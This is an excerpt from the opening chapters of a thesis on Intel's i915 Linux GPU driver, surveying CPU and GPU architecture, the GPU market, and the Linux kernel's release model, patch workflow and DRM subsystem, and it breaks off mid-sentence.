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Abstract

In recent years, GPUs have become essential for handling high-performance computa-
tions, particularly in fields such as artificial intelligence (AI), where complex algorithms
require significant processing power. To stay competitive in this rapidly evolving land-
scape, Intel has focused on developing more powerful discrete GPUs. These GPUs are
managed by the i915 device driver, an integral part of the open-source Linux kernel. Intel
dedicates substantial resources to continuously update and maintain the driver, ensuring
it meets both the industry’s technological demands and the open-source community’s
requirements. In this thesis, I examine the general architecture and development process
of the i915 driver within the community, with a focus on the implementation of partial
memory mapping and compute engine static load balancing.
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Chapter 1

Introduction

1.1 What is a CPU

A Central Processing Unit (CPU) is the fundamental component of any computing sys-
tem, responsible for executing instructions, performing arithmetic, logic operations and
controlling input/output tasks. As a general-purpose processor, the CPU is designed to
handle a wide variety of workloads, from simple calculations to complex, multi-threaded
operations across different applications and environments.

The modern CPU evolved from the early development of microprocessors, with the
first commercially available microprocessor being the Intel 4004, introduced in 1971.
Designed by Federico Faggin and his team at Intel, the 4004 marked the beginning of
the microprocessor revolution, integrating the essential elements of a CPU onto a single
chip. Although this 4-bit processor was rudimentary by today’s standards, it laid the
groundwork for the rapid advancements in microprocessor design that followed, leading
to the development of far more capable and versatile processors.

The true turning point in CPU architecture came with the introduction of the Intel
8086 in 1978, which introduced the x86 architecture which has become the dominant
general-purpose architecture for personal computing, workstations, and servers. Designed
as a Complex Instruction Set Computing (CISC) architecture, x86 incorporates a rich
and versatile instruction set, enabling a single instruction to perform multiple low-level
operations. This design choice allows CPUs to handle a wide variety of tasks, making

Figure 1.1: Federico Faggin who designed the first commercial microprocessor. (From
Università della Svizzera Italiana, luganoeventi.ch)
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Figure 1.2: Intel 4004, the first commercially produced microprocessor. (From
wikimedia.org)

them ideal for general-purpose computing, where flexibility is key.
One of the defining characteristics of the x86 architecture is its backward compatibility,

which has allowed successive generations of processors to maintain compatibility with
earlier software and ensuring its longevity in the market. Over time, the x86 architecture
expanded from its 16-bit origins to 32-bit with the Intel 80386 in 1985 and later to 64-
bit with AMD’s x86-64 extension in 2003. AMD’s x86-64 innovation allowed CPUs to
address larger memory spaces and process more data per cycle, significantly improving
performance for memory-intensive applications such as scientific computing, gaming, and
large databases.

At the core of the x86 design is its register-based architecture. Early x86 processors
featured a limited set of general-purpose registers (AX, BX, CX, DX) used for storing data
and memory addresses. As the architecture evolved, the number of registers expanded,
particularly with the introduction of x86-64, which added eight new general-purpose
registers (R8-R15) and doubled their width to 64 bits. This increase in register count
and size provided more flexibility for compilers and enabled CPUs to handle larger data
sets with greater efficiency.

The x86 architecture’s approach to memory management has also seen significant
evolution. Early x86 processors relied on segmentation to manage memory, but this was
largely replaced by paging in later generations. Paging divides memory into fixed-size
blocks called pages and uses a page table to map virtual memory addresses to physical
addresses. This system allows for virtual memory, enabling a computer to use disk storage
as an extension of RAM. With the introduction of 32-bit and later 64-bit architectures,
x86 processors adopted multi-level paging to efficiently manage large memory spaces,
supporting page sizes of 4KB, 2MB, and even 1GB in specialized workloads. TLBs

Figure 1.3: AMD Opteron the first CPU to introduce the x86-64 extensions in April 2003.
(From wikimedia.org)
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Figure 1.4: The SiFive HiFive Unleashed, today discontinued was one of the first RISC-V
development boards. (From sifive.com)

(Translation Lookaside Buffers) further optimize memory access by caching frequently
used page table entries, reducing the overhead of address translation.

In terms of performance, modern x86 processors employ several techniques to exploit
instruction-level parallelism. Out-of-order execution, where instructions are executed as
their operands become available rather than in strict program order, improves the utiliza-
tion of CPU resources and reduces idle time. This, combined with superscalar execution
where multiple instructions are dispatched to different execution units simultaneously, has
significantly increased the throughput of single-threaded workloads. Branch prediction
and speculative execution are additional techniques that help maintain high instruction
throughput by guessing the outcome of conditional operations and executing instructions
ahead of time.

Another important development in the x86 architecture is Hyper-Threading Tech-
nology (HTT), introduced by Intel in the early 2000s. HTT is a form of Simultaneous
Multithreading (SMT) that allows a single physical core to appear as two logical cores
to the operating system. This enables the CPU to handle multiple threads concurrently,
improving performance in highly parallel workloads such as video encoding, scientific
simulations, and server applications. HTT increases resource utilization by ensuring that
execution units are not left idle when one thread is stalled, for instance, waiting on a
memory fetch.

The ability of x86 CPUs to balance performance across general-purpose and special-
ized tasks is further enhanced by the cache hierarchies. Modern x86 processors typically
feature three levels of caches—L1, L2, and L3—with each level serving different purposes.
L1 cache, split into instruction and data caches, provides the fastest access to frequently
used data, while L2 cache offers larger, but slightly slower, storage for both instructions
and data. L3 cache, shared among all cores, acts as a final buffer before accessing system
memory. Efficient use of these caches, along with sophisticated prefetching algorithms,
ensures that data is available to execution units as soon as it is needed, minimizing latency
and maximizing throughput.

x86 processors have integrated advanced security features, like Intel SGX for secure
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enclaves and AMD SEV for encrypted virtual machines, both critical for protecting data.
At the same time, techniques like dynamic voltage and frequency scaling (DVFS) optimize
power use based on workload, improving energy efficiency for both mobile devices and
data centers.

While x86 has remained dominant in general-purpose computing, it faces increasing
competition from RISC architectures, particularly ARM and RISC-V, which emphasize
simplicity and power efficiency. ARM’s reduced instruction set design has made it the
architecture of choice for mobile devices, and its use in Apple’s M1 processors signals its
entry into the desktop and laptop markets. RISC-V, an open-source ISA, is gaining trac-
tion in academic and industrial research due to its flexibility and customization potential.
Nevertheless, the general-purpose nature of x86, coupled with its backward compatibility
and rich ecosystem, ensures its continued relevance in performance-intensive applications.

In conclusion, the CPU, particularly in the context of the x86 architecture, has evolved
into a highly flexible and powerful general-purpose processor capable of handling a wide
range of computing tasks. Its ability to execute complex instructions, manage memory
efficiently, and scale across multiple cores and threads makes it indispensable in envi-
ronments requiring diverse computational capabilities. This versatility contrasts sharply
with GPUs, which are designed specifically for parallel processing tasks—a topic that will
be explored in the following chapter.

1.2 What is a GPU

A Graphics Processing Unit (GPU) is a specialized processor designed to accelerate image
rendering, but it has evolved into a fundamental component for high-performance com-
puting. Unlike a CPU, optimized for sequential processing and general-purpose tasks, a
GPU excels at handling thousands of smaller, independent computations in parallel. Its
architecture, composed of numerous simpler cores capable of executing multiple threads
simultaneously, makes it particularly effective for graphics rendering, machine learning,
and scientific simulations.

The origins of the GPU trace back to the early 1980s, when video display controllers
emerged to offload basic graphical tasks from the CPU. Early 2D accelerators performed
simple operations like drawing lines and filling areas, but by the late 1990s, GPUs had
advanced to support complex 3D rendering. A major milestone occurred in 1999 when
NVIDIA introduced the GeForce 256, the first processor capable of transforming and
lighting 3D polygons independently of the CPU. This innovation marked a shift toward
dedicated graphics hardware, with companies like ATI (now part of AMD) and NVIDIA
leading the charge in expanding GPU capabilities with each successive generation.

GPUs are built around a massively parallel processing model, enabling thousands of
cores to execute multiple threads concurrently. While CPUs focus on complex control
logic and branch-heavy execution, GPUs prioritize data-parallel computations. This ar-
chitecture is particularly well-suited for image rendering, where each core can process
individual pixels, vertices, or fragments simultaneously. The same parallelism applies to
artificial intelligence (AI), where deep neural networks rely on extensive matrix multipli-
cations. By distributing these computations across thousands of cores, GPUs significantly
accelerate AI training and inference compared to traditional CPU processing.

Another key distinction between CPUs and GPUs lies in their memory architectures.
GPUs utilize high-bandwidth memory (VRAM), which is optimized for processing large
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Figure 1.5: With the rise of AI, Intel has heavily invested in high-performance discrete
GPUs with dedicated local memory, aiming to expand the frontiers of GPU computing (From
intel.com)

datasets in graphics and AI applications. While VRAM offers high throughput, it oper-
ates with higher latency compared to CPU memory. In addition to global VRAM, GPUs
incorporate shared memory within processing units, allowing threads to exchange data
quickly—critical for algorithms that reuse intermediate results, such as those found in
deep learning. Modern GPUs also integrate L1 and L2 caches, reducing memory access
latency and improving efficiency in compute-intensive workloads.

Beyond graphics, GPUs have become essential in general-purpose computing (GPGPU).
Frameworks like OpenCL and CUDA enable GPUs to accelerate workloads beyond ren-
dering, making them valuable in fields such as scientific computing, cryptography, and
artificial intelligence. While CUDA is proprietary to NVIDIA, OpenCL provides a vendor-
neutral alternative, allowing developers to harness GPU acceleration across different hard-
ware architectures.

Intel, historically dominant in CPUs, has also made significant strides in the GPU
market. Its Xe architecture targets a range of workloads, from gaming to data center
operations. Intel’s integrated graphics, managed by the i915 driver in the Linux kernel,
have long been a staple in consumer devices. However, with growing demand for AI
and parallel computing, Intel has expanded into discrete GPUs. The Mesa open-source
project plays a crucial role in supporting Intel GPUs on Linux, providing implementations
of OpenGL and Vulkan APIs necessary for both graphics rendering and computational
tasks.

GPU advancements have been particularly transformative for AI applications. Train-
ing deep learning models, which can involve billions of parameters, benefits immensely
from GPUs’ parallel matrix multiplication capabilities. Tasks such as natural language
processing and image recognition, which would take prohibitively long on CPUs, can
be executed orders of magnitude faster on GPUs. Newer architectures further optimize
tensor operations and mixed-precision computing, striking a balance between speed and
accuracy to enhance AI performance.

In summary, GPUs have evolved far beyond their original role in graphics accelera-
tion, becoming indispensable in high-performance computing. Their massively parallel
architecture makes them ideal for tasks requiring large-scale data processing, such as
rendering, AI, and scientific simulations. With continued advancements in memory ar-
chitecture, software frameworks, and specialized AI optimizations, GPUs are poised to
remain at the forefront of modern computing.
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1.3 CPU vs GPU

A CPU and a GPU are architecturally distinct processors, each optimized for different
computational paradigms. As we discuss earler, the CPU is designed for flexibility and
low-latency execution, excelling at handling complex control flows, sequential tasks, and
system orchestration. In contrast, the GPU is specialized for high-throughput parallel
processing, making it particularly effective for repetitive, data-parallel computations.

A CPU consists of a few powerful cores optimized for single-threaded performance,
out-of-order execution, and complex control logic. It features deep cache hierarchies
(L1, L2, L3) and employs techniques such as branch prediction and speculative execu-
tion to optimize sequential workloads. Conversely, a GPU is built for massive thread-
level parallelism (TLP), with thousands of simpler cores organized into execution units
that operate under Single Instruction, Multiple Threads (SIMT). Rather than relying on
branch-heavy execution like CPUs, GPUs use warp scheduling (NVIDIA) or wavefront
execution (AMD/Intel) to minimize memory latency by rapidly switching between active
threads.

A key distinction lies in memory hierarchy and access patterns. CPUs leverage low-
latency caches and DDR-based RAM optimized for irregular memory access. GPUs,
however, prioritize high-bandwidth memory (GDDR, HBM) to sustain throughput for
large-scale data processing. They also utilize shared memory within compute units,
enhancing inter-thread communication for workloads such as deep learning and scientific
simulations.

The execution model further differentiates them. CPUs focus on control-heavy execu-
tion, where decision-making and task scheduling are critical, making them indispensable
for operating systems, application logic, and real-time processing. GPUs, on the other
hand, excel at executing thousands of lightweight threads simultaneously, making them
ideal for graphics rendering, AI model training, and numerical simulations.

Another crucial difference is instruction scheduling. CPUs rely on hardware multi-
threading and context switching to maximize core utilization, while GPUs execute thou-
sands of threads in parallel, scheduling them in warps (NVIDIA) or wavefronts (AMD/In-
tel) to maintain high execution efficiency.

From a computational standpoint, CPUs are tailored for low-latency execution and
complex control, making them essential for workloads that require frequent branching,
I/O management, and orchestration. Meanwhile, GPUs excel in high-throughput, mas-
sively parallel workloads such as deep learning, video rendering, and scientific computing.
Although general-purpose GPU computing (GPGPU) has extended their applications
through frameworks like OpenCL and Vulkan Compute, GPUs still depend on CPUs for
memory management, task distribution, and system-level control.

Despite these differences, modern computing systems integrate CPUs and GPUs in
a collaborative model. The CPU orchestrates tasks, prepares data, and schedules work-
loads, while the GPU accelerates computationally expensive operations. A common ex-
ample is deep learning inference: the CPU loads a trained AI model, preprocesses input
data (e.g., resizing images or tokenizing text), and transfers it to the GPU, which then
performs matrix multiplications and activation functions in parallel. Once computation
is complete, the GPU returns the results to the CPU for post-processing and decision-
making. This division of labor balances the CPU’s low-latency control with the GPU’s
high-throughput processing, optimizing efficiency in compute-intensive applications.

Table 1.1 summarizes the key architectural and functional differences between CPUs
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and GPUs, illustrating how their contrasting designs define their ideal workloads and
execution models.

Aspect CPU GPU

Core Architecture Few powerful cores Thousands of smaller, efficient
cores

Parallelism Task-level parallelism (TLP),
limited thread-level parallelism

Massive thread-level parallelism
(TLP), SIMD execution

Instruction Execution Out-of-order execution, specula-
tive execution, branch prediction

Single Instruction, Multiple
Threads (SIMT), warp execution

Memory Hierarchy Low-latency hierarchical caches
(L1, L2, L3), DDR-based RAM

High-bandwidth VRAM
(GDDR, HBM), global and
shared memory

Cache Usage Optimized for low-latency data
retrieval

Optimized for high-throughput,
coalesced memory access

Execution Model Control-heavy, handles complex
branching and decision-making

Data-parallel, optimized for
repetitive, computationally in-
tensive tasks

Scheduling Hardware multithreading, OS-
level context switching

Warp/wavefront scheduling,
hides memory latency via mas-
sive multithreading

Instruction Set CISC (x86) with variable-length,
complex instructions

SIMD-like instructions, opti-
mized for high-throughput batch
execution

Memory Bandwidth Lower memory bandwidth, opti-
mized for low-latency access

Extremely high memory band-
width for parallel data processing

Latency Optimization Branch prediction, prefetching,
and deep caches

Latency hidden by massive paral-
lel execution, thread scheduling

Ideal Workloads General-purpose workloads, OS
tasks, application logic

Graphics rendering, deep learn-
ing, scientific computing

Use in AI Controls model orchestration,
data pre-processing, and infer-
ence management

Accelerates training with parallel
matrix computations, tensor op-
erations

Table 1.1: Comparison of CPU and GPU Architectures and Their Purposes

1.4 Application of GPUs in 2020

As previously discussed, GPUs are designed for massively parallel computation, making
them essential for workloads that require processing large amounts of data simultaneously.
While originally developed for graphics rendering, they have become critical in fields
such as artificial intelligence, scientific research, space exploration, autonomous systems,
and cybersecurity. Their architectural advantages—high core counts, optimized memory
access, and parallel execution—enable them to handle complex computations far more
efficiently than CPUs in highly parallelizable tasks.

One of the most transformative applications of GPUs is in artificial intelligence and
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Figure 1.6: Perseverance’s AI-driven Terrain Relative Navigation (TRN) system analyzes
the Martian surface to autonomously select a safe landing site. (From nasa.com)

deep learning, where they accelerate training and inference for complex models. In health-
care, GPUs process medical imaging data to enhance diagnostics, enabling convolutional
neural networks (CNNs) to detect tumors in MRI and CT scans with higher accuracy
and speed than traditional methods. Genomic sequencing relies on GPU-powered com-
putation to analyze DNA structures, significantly reducing the time required for genetic
research and drug discovery. During the COVID-19 pandemic, researchers used GPUs to
simulate protein folding and molecular interactions, which helped accelerate the discovery
of potential treatments and vaccine development. AI-driven speech recognition systems,
widely used in virtual assistants and automated transcription, leverage GPUs to process
large datasets in real time, improving natural language understanding.

Beyond Earth, GPUs are fundamental in space exploration and astrophysics, where
they power large-scale simulations and real-time data analysis. The Event Horizon
Telescope (EHT) uses GPU-accelerated radio interferometry algorithms to process vast
amounts of astronomical data, enabling the generation of high-resolution images of black
holes. NASA and ESA integrate GPUs into autonomous space missions, where AI-based
models analyze terrain data to optimize navigation. A notable example is the Persever-
ance rover, which landed on Mars in 2021. During its descent, it used Terrain Relative
Navigation (TRN), an AI-driven system that analyzed high-resolution imagery of the
Martian surface in real time, selecting the safest possible landing site. This capability
significantly improved landing precision compared to previous missions. Perseverance
continues to use GPUs to assist in processing and analyzing data collected from its sci-
entific instruments, helping researchers study the planet’s geology and search for signs of
past microbial life.

In autonomous vehicles and robotics, GPUs are indispensable for real-time sensor
fusion and decision-making. Self-driving cars process LiDAR, radar, and camera data
simultaneously, using deep learning-based models to identify objects, predict movement,
and plan optimal driving paths. Industrial robots leverage AI-powered vision systems to
perform quality control in manufacturing, detecting defects at micron-level precision. In
agriculture, drone-based imaging systems use GPUs to monitor crop health and optimize
irrigation, applying AI to large-scale environmental data in real time.
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Scientific research depends on GPUs for high-performance computing (HPC) applica-
tions, where they power simulations in fields such as climate modeling, particle physics,
and materials science. Climate researchers run high-resolution models to predict weather
patterns and analyze the long-term impact of climate change. At CERN’s Large Hadron
Collider (LHC), GPUs process enormous datasets generated from high-energy particle
collisions, accelerating discoveries in fundamental physics. In molecular dynamics, re-
searchers simulate protein folding and chemical interactions using GPU clusters, enabling
breakthroughs in drug design and material engineering.

Financial markets also benefit from GPU acceleration, where high-frequency trading
platforms analyze vast amounts of market data in milliseconds to optimize investment
strategies. Monte Carlo simulations, used in risk assessment and financial modeling, run
orders of magnitude faster on GPUs than on CPUs alone. Cryptocurrency mining relies
heavily on GPUs, particularly for Ethereum, where memory-intensive hashing functions
make GPUs far more efficient than general-purpose processors in validating blockchain
transactions.

In gaming, media production, and real-time rendering, GPUs remain central to deliv-
ering high-quality visual experiences. Real-time ray tracing enhances graphical realism,
producing accurate lighting, reflections, and shadows in modern gaming engines. Cloud
gaming platforms leverage GPU-powered data centers to render games remotely and
stream them to users with low latency. In the film industry, video editing, CGI render-
ing, and special effects processing are GPU-accelerated, reducing production time while
improving visual fidelity.

Cybersecurity applications increasingly integrate GPUs for real-time anomaly detec-
tion and encryption analysis. AI-powered security systems process vast amounts of net-
work traffic to identify threats, preventing cyberattacks before they escalate. Crypto-
graphic research uses GPUs to analyze encryption algorithms and test their robustness,
while ethical hacking teams leverage GPU-based tools for password security assessments,
ensuring that enterprise systems remain resilient against potential breaches.

By leveraging high-throughput parallelism, efficient memory access patterns, and op-
timized execution for data-parallel workloads, GPUs have become essential computing
accelerators across diverse fields. Their ability to handle real-time data analysis, complex
simulations, and AI-driven decision-making solidifies their role as a foundational technol-
ogy in modern computing, with continued advancements expanding their reach into new
and evolving domains.

1.5 The GPU Market

The GPU market has experienced remarkable growth over the past decades, evolving from
a niche component in computer graphics to a cornerstone of modern computing across
various industries. In 2024, the global GPU market was valued at approximately USD
65.3 billion, with projections indicating a surge to USD 274.2 billion by 2029, reflecting
a compound annual growth rate (CAGR) of 33.2% during this period.

This rapid expansion is driven by several key factors. The gaming sector remains
a significant contributor, accounting for about 37% of the GPU market in 2023, as the
demand for high-quality graphics and immersive experiences continues to rise. Addition-
ally, the proliferation of artificial intelligence (AI) and machine learning (ML) applications
necessitates high computational power, positioning GPUs as essential for tasks such as
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neural network training, image recognition, and natural language processing. The data
center GPU market, valued at USD 14.3 billion in 2023, is projected to reach USD 63.0
billion by 2028, growing at a CAGR of 34.6%.

In terms of market share, NVIDIA has solidified its dominance, capturing 88% of the
descrete GPU market as of the first quarter of 2024, an increase from 80% in the previous
quarter. In contrast, AMD holds a 12% share, while Intel’s presence remains negligible in
this segment. However, when considering the broader PC GPU market, which includes
both integrated and discrete GPUs, Intel leads with a 67% market share, followed by
NVIDIA at 18% and AMD at 15% as of the fourth quarter of 2023.

88%

10%

2%

Figure 1.7: Discrete GPU Market Share

67%

18%

15%

Figure 1.8: Overall PC GPU Market
Share

NVIDIA AMD Intel

The GPU market’s impressive growth trajectory underscores its integral role in mod-
ern technology. As industries continue to innovate and demand more computational
power, GPUs are poised to remain at the forefront of this technological evolution.
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1.5.1 Intel in the GPU Market

Over the last decade, Intel has shifted its strategy in the GPU market, moving from a
strong position in integrated graphics to an ambitious push into the discrete GPU sector.
From 2014 to 2023, Intel maintained a dominant share of over 60% in the overall PC
GPU market, mainly because its processors include integrated graphics. However, its
attempt to compete with NVIDIA and AMD in the discrete GPU segment has faced
major difficulties.

Intel officially entered the discrete GPU market with the Arc series in 2022, targeting
mid-range consumers and professionals. However, the launch did not meet expectations,
and Intel’s share in the discrete GPU market remained below 2% in 2023. In contrast,
NVIDIA controlled 88% of the market, while AMD held 10%, as reported by analysts.
Intel shipped approximately 1.5 million Arc GPUs in 2023, while NVIDIA and AMD
together shipped more than 40 million discrete GPUs. Financially, Intel’s GPU division
contributed only a small fraction to the company’s total $63 billion revenue in 2023, with
most of its income still coming from CPUs.

Several factors have contributed to Intel’s struggles in the GPU market. The global
semiconductor downturn in 2022-2023 reduced demand, especially for discrete GPUs. In-
tel also faced production challenges—while it manufactures its CPUs in its own factories,
it relies on TSMC’s 6nm process for discrete GPUs, making production more complex
and expensive. Additionally, Intel’s Arc GPUs suffered from software and driver issues
at launch, leading to inconsistent performance and slower adoption.

Looking ahead, analysts remain cautious about Intel’s future in discrete GPUs. The
company has committed to releasing new architectures, such as Battlemage in 2024-2025
and Celestial for high-end GPUs in 2026. However, experts predict Intel’s market share
will likely remain below 5% through 2026 unless it can significantly improve software
support, optimize performance, and attract more developers to its platform. Intel is also
investing in AI-focused GPUs like Ponte Vecchio to compete in data centers, but it faces
strong competition from NVIDIA, which dominates this sector.

Intel’s long-term success in the GPU market depends o whether it can resolve its
production challenges, improve its software ecosystem, and offer competitive pricing.
While the company is committed to its GPU business, competing with NVIDIA and
AMD remains a significant challenge.
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Chapter 2

The Linux Kernel

An operating system (OS) serves as a bridge between hardware and applications, ensuring
efficient resource management and smooth process execution. At its core lies the kernel,
the essential component responsible for facilitating communication between software and
hardware while maintaining system stability and security.

The kernel oversees memory allocation, CPU scheduling, and input/output opera-
tions, ensuring that applications run efficiently without interference. It also manages
hardware interactions via device drivers, abstracting complexities and providing a stan-
dard interface for software. Kernel architectures vary, with monolithic, microkernel, and
hybrid designs offering different trade-offs between performance, modularity, and com-
plexity.

Among the various kernel implementations, the Linux kernel stands out as one of the
most widely used and actively developed. It follows a monolithic design but incorporates
modular capabilities, allowing dynamic component management. The next chapter will
explore the Linux kernel in greater depth, examining its architecture and its role in
modern computing.

2.1 What is the Linux Kernel

The Linux kernel is one of the most widely used operating system kernels, powering
a vast range of devices, from smartphones and embedded systems to supercomputers
and enterprise servers. It forms the foundation of numerous operating systems, including
Android, Ubuntu, Red Hat Enterprise Linux, and Debian, demonstrating its adaptability
across different computing environments.

Its origins trace back to 1991 when Linus Torvalds, then a Finnish computer sci-
ence student, began developing it as a personal project inspired by the MINIX operating
system. What started as a small-scale hobby project quickly attracted interest from the
open-source community, leading to contributions from developers worldwide. The kernel’s
open-source nature, ensured by its distribution under the GNU General Public License
(GPL), played a pivotal role in its success. The GPL mandates that modifications made
to the Linux kernel must also be released under the same license, fostering collabora-
tion between companies and individual developers. This requirement has incentivised
industry-wide contributions, ensuring ongoing innovation and a well-maintained, shared
infrastructure.

Technically, the Linux kernel follows a monolithic architecture with modular capabil-
ities, allowing it to operate efficiently while remaining highly extensible. Unlike micro-
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Figure 2.1: Stack of a Linux based Operating System

kernels, which run most services in user space, Linux runs critical components such as
process scheduling, memory management, and device drivers in kernel space, ensuring
low-latency and high performance. The kernel is structured into several interdepen-
dent subsystems that manage core functionalities. The process scheduler utilises the
Completely Fair Scheduler (CFS), which dynamically prioritises tasks to balance respon-
siveness and fairness. The virtual memory manager employs techniques such as demand
paging and transparent huge pages to optimise memory allocation and overall system
efficiency. Additionally, the network stack is designed for high throughput and low la-
tency, supporting multiple protocols, including TCP/IP and RDMA, making it suitable
for both consumer devices and large-scale data centres.

A significant advantage of the Linux kernel is its support for loadable kernel mod-
ules (LKMs), which enable additional functionalities such as device drivers, file systems,
and network protocols to be dynamically loaded and unloaded at runtime. LKMs use a
dynamic linking mechanism similar to shared libraries but operate in kernel space, allow-
ing seamless integration with the running system. This feature is particularly beneficial
for systems that require high availability, such as servers, where maintaining uptime is
crucial. By enabling on-the-fly hardware support and functionality enhancements with-
out necessitating a reboot, LKMs provide a flexible and efficient way to extend kernel
capabilities while preserving performance and system stability.

With its robust architecture and open-source development model, the Linux kernel
continues to evolve, adapting to new computing paradigms while maintaining reliabil-
ity and efficiency. Its design principles, combined with the collaborative nature of its
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Figure 2.2: In 1991, Linus Torvalds released the first version of the Linux kernel, completing
the GNU system and laying the foundation for what would become the world’s most widely
used operating system over the next 30 years. (From facebook.com)

development, ensure its position as a cornerstone of modern computing systems.
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Figure 2.3: Linux Kernel stack

2.2 Release Model

The Linux kernel follows a time-based release model rather than a feature-based one, en-
suring that new kernel versions are released on a regular schedule. Linus Torvalds oversees
the entire release process and typically announces new versions on Saturday afternoons,
California time. Each release cycle begins immediately after the previous version is pub-
lished. The development starts with a two-week merge window, where patches introducing
new features, new drivers, hardware support, performance optimizations, and subsystem
updates are integrated into the kernel. Once the merge window closes, the stabilization
phase begins, during which only bug fixes are accepted. Throughout this period, weekly
release candidates (-rc1, -rc2, -rc3, etc.) allow developers to test the upcoming release
and ensure stability.

A typical release cycle progresses through seven release candidates, with the final
kernel release occurring after -rc7. However, depending on the volume and complexity of
patches, the release may be finalized at -rc6 or extended to -rc8. Once Linus Torvalds
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considers the kernel stable, he announces the official release, marking the transition to
the next development cycle.

The entire process from the beginning of the merge window to the final release gen-
erally takes around nine to ten weeks, ensuring a steady flow of improvements while
maintaining stability. For example, once Linux 6.8 is released, development for Linux
6.9 starts immediately. The first two weeks are dedicated to the merge window, during
which developers submit new drivers, enhancements, and infrastructure improvements.
After this period, the stabilization phase begins, during which only bug fixes are merged.
Each week, a new release candidate is published, typically progressing through -rc1 to
-rc7 before reaching the final release.

If a bug fix is submitted during 6.9-rc3, it will be integrated immediately and included
in 6.9-rc4, eventually becoming part of the final 6.9 release. However, if a developer
submits a new feature during 6.9-rc3, it will not be included in the 6.9 release. Instead,
it will be queued for the 6.10 merge window and will become part of Linux 6.10. This
structured and predictable approach ensures a continuous flow of development while
maintaining system stability.

2.3 Development Model

The Linux kernel development process is a globally distributed effort, involving thousands
of developers working on a variety of subsystems. Contributions come from individual
developers, large corporations, and hardware vendors, all collaborating to improve the
kernel. Companies such as Intel, AMD, Google and Red Hat dedicate teams of engineers
to maintaining and improving different subsystems, ensuring compatibility with their
hardware and optimizing performance for their specific needs. Academic institutions and
independent developers also play a crucial role in researching new techniques, identifying
security vulnerabilities, and contributing fixes.

The Linux Kernel Mailing List (LKML) is the primary forum where patches are pro-
posed, reviewed, and debated. The Linux kernel development relies heavily on Git, a
distributed version control system that enables developers to track changes, collaborate
efficiently, and maintain source code integrity. The official Git repositories for the Linux
kernel are hosted on kernel.org, providing a central location for maintainers and develop-
ers to access and synchronize their work.

Before Git, the Linux kernel community used BitKeeper, a proprietary distributed
version control system. Due to licensing conflicts, access to BitKeeper was revoked,
prompting Linus Torvalds to develop Git in 2005 as a scalable alternative suited to
managing the complexity of a project as large and decentralized as the Linux kernel.
Since then, Git has become the de facto standard for version control, widely adopted
across open-source and enterprise software projects.

Unlike centralized platforms such as GitHub or GitLab, the Linux kernel develop-
ment process relies on email-based patch submission. This approach allows maintainers
to efficiently review and discuss changes asynchronously, promoting transparency. All dis-
cussions and decisions are publicly archived, enabling developers to trace the evolution
of changes and understand the rationale behind them.

When a developer implements a modification—whether it is a bug fix, performance
optimization, or new feature—they prepare the patch using Git:

1 git format -patch -1 --cover -letter
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This generates a structured patch file that contains metadata, including the author’s
name, commit message, and details about the modification. A well-written commit mes-
sage is essential, as it provides context on why the change is necessary and how it impacts
the system. Developers are encouraged to follow best practices in commit message for-
matting, such as providing a summary line, a detailed explanation, and references to
relevant discussions or bug reports.

Once the patch is formatted, it is submitted to the appropriate mailing list using:

1 git send -email --to=linux -kernel@vger.kernel.org

Upon submission, the patch undergoes a thorough review process. Other developers
and maintainers assess the change for correctness, adherence to coding standards, and
potential performance impacts. The review process is rigorous, often requiring develop-
ers to justify their changes and address feedback from multiple reviewers. Discussions on
LKML can be extensive, involving detailed code analysis and debates on implementation
details. Reviewers might request modifications to improve readability, maintainability, or
efficiency, leading to multiple versions of the same patch being resubmitted before accep-
tance. If a patch is particularly complex or introduces a significant change, maintainers
may request further testing, benchmark results, or real-world use case validation before
it is merged.

Automated testing frameworks and Continuous Integration (CI) systems play a cru-
cial role in the development process. Patches that introduce regressions can be flagged
early through tools such as KernelCI and 0-Day CI, which test patches across multiple
hardware architectures and configurations. Static analysis tools like Sparse and Clang
Static Analyzer help detect potential issues before they reach production.

Once a patch is approved, it is merged into the respective subsystem tree. Each
subsystem, such as networking, storage, and graphics has designated maintainers respon-
sible for curating and managing changes. These maintainers aggregate multiple patches,
ensure they pass subsystem-level tests, and prepare pull requests for higher-level main-
tainers. The role of maintainers extends beyond code review; they also provide guidance
to new contributors, enforce coding standards, and ensure the long-term maintainability
of their subsystems.

Subsystem maintainers then submit pull requests to higher-level maintainers, even-
tually reaching top-level maintainers who oversee broader kernel areas. For example,
graphics-related patches for drivers such as i915, AMDGPU, and Nouveau first go through
the maintainers of those specific drivers before being merged into the DRM (Direct Ren-
dering Manager) subsystem, maintained by Dave Airlie and Simona Vetter. Similarly,
storage-related changes are reviewed by maintainers of individual filesystems or block
layer subsystems before being integrated into the broader kernel storage tree. The I2C
subsystems follows a similar model, with maintainers like Wolfram Sang and Andi Shyti
responsible for ensuring the integrity of bus-level communication protocols before these
updates are pushed further up the hierarchy.

At the highest level, major maintainers send pull requests to Linus Torvalds, who has
the final say on whether changes are integrated into the mainline kernel.

During the merge process, he carefully reviews the incoming patches, ensuring they
align with the kernel’s overall direction and do not introduce regressions. If he identifies
issues, he may request further revisions or reject patches outright. Once he accepts the
changes, they become part of the mainline Linux kernel and will be included in the next
official release.
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The Linux kernel development model has set the foundation for collaborative software
engineering, influencing how large-scale projects are managed. Built on mailing list dis-
cussions, distributed version control, and a rigorous community-driven review process, it
ensures high code quality and maintainability. Many open-source and enterprise projects
have adopted similar decentralized structures, where hierarchical maintainers and pub-
lic reviews help manage complexity and long-term stability. By setting high standards
and fostering open collaboration, the Linux kernel continues to be a model of reliability,
shaping software development far beyond the world of operating systems.

2.3.1 The DRM Subsystem

The Direct Rendering Manager (DRM) is the Linux kernel subsystem responsible for
GPU management, allowing user-space applications to perform direct rendering opera-
tions while providing a uniform interface across different hardware implementations. It
serves as a fundamental layer for graphics processing, facilitating low-level GPU interac-
tions, memory management, and display pipeline control while abstracting vendor-specific
hardware details. The DRM subsystem is implemented in the Linux kernel source tree
under drivers/gpu/drm/, with individual GPU drivers residing in their respective sub-
directories.

At the core of DRM is the device-independent framework that provides standard-
ized interfaces for GPU resource management, command submission, and synchroniza-
tion primitives. The DRM core, implemented in drm_drv.c, handles device registration,
user-space interactions, and context management. It acts as the entry point for graph-
ics drivers and user-space applications interacting with the GPU through IOCTL (in-
put/output control) requests, exposing its functionality via include/uapi/drm/drm.h.
These IOCTLs serve as the primary communication mechanism between applications like
Mesa, Xorg, and Wayland and the kernel, enabling dynamic display configurations, buffer
management, and GPU acceleration.

The core DRM structure, defined in include/drm/drm_device.h, represents the pri-
mary data structure used by DRM drivers to manage GPU resources, memory, and dis-
play components. This structure is used for tracking the state of a DRM device, handling
user-space interactions, and coordinating GPU execution.

The drm_device structure is allocated and initialized when a DRM driver is loaded
